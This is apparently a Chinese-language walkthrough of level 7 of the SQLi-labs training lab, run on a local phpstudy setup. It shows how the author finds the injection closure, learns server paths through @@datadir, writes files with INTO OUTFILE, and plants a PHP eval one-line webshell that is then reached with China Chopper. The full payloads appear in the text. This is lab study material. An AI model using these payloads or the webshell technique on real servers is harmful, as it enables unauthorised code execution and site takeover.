less-7
首先我们来尝试一下,输入id=1报错了
再输入id=1’还是报错了,说明页面可能存在注入
输入id=1’--+还是显示错误
再加个括号试试,还是错误
加两个括号试试,输入id=1’))--+,哇对了!
由上图可以看到页面显示outfile,意思是用file权限向服务器写入文件,我们就先尝试下写数据。
数据库的file权限规定了数据库用户是否有权限向操作系统内写入和读取已存在的权限。我们必须知道,服务器上一个可以写入文件的文件夹的完整路径
导出到文件就是可以将查询结果导出到一个文件中,如常见的将一句话木马导出到一个php文件中,sqlmap中也有导出一句话和一个文件上传的页面
常用的语句是: select "<?php @eval($_POST['giantbranch']);?>" into outfile "XXX\test.php" ,当这里要获取到网站的在系统中的具体路径(绝对路径)
这个要怎么获取呢,根据系统和数据库猜测:
如winserver的iis默认路径是c:/inetpub/wwwroot/;linux的nginx一般是/usr/local/nginx/html,/home/wwwroot/default,/usr/share/nginx,/var/www/htm等;apache就是/var/www/htm,/var/www/html/htdocs
由于我用的是phpstudy搭建的环境,所以我直接在我本机取一个目录就好
C:\phpstudy_pro\Extensions\MySQL5.7.26\data
可以输入命令获取
输入id=-1' union select null,@@datadir,@@basedir--+
这里我是用第一关获取的,不知道为什么我尝试了第7关获取不到。
这里解释一下:
@@datadir是读取数据库路径
@@basedir是MYSQL获取安装路径
好的,我们现在知道绝对路径了,就可以开始往数据库写东西了!
写文件:
输入id=1’)) union select 1,2,3 into outfile "C:\phpstudy_pro\Extensions\MySQL5.7.26\data\emmm.php"--+ 尝试写入文件。
查看本地写入结果
由上图可以看到为什么文件名是这样的?尝试了很多次,最后才发现在文件写入的时候我们要使用\\而不是\
我们再试一次,输入id=1’)) union select 1,2,3 into outfile "C:\\phpstudy_pro\\Extensions\\MySQL5.7.26\\data\\emmm.php"--+
查看写入文件本地结果显示
这里写入文件的时候,需要注意的是利用数据库file权限向操作系统写入文件时,对于相同文件名的文件不能覆盖,所以如果第一次上传emmm.php,下次再上传emmm.php,就是无效命令了,也就是新的emm.php中的内容并不会覆盖之前的emmm.php
我们再尝试上传一句话木马:
输入id=-1')) union select 1,"<?php @eval($_POST['chopper']);?>",3 into outfile " C:\\phpstudy_pro\\Extensions\\MySQL5.7.26\data\\xixi.php" --+
接着试着访问一下这个文件
上传成功,使用菜刀连接一下
连接成功!